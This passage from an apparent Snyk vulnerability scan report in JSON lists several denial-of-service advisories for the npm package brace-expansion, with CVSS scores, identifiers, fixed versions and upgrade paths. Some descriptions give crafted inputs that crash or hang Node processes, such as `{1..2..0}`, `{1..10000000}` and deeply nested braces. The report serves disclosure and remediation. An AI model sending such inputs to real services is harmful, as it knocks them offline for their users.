Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", 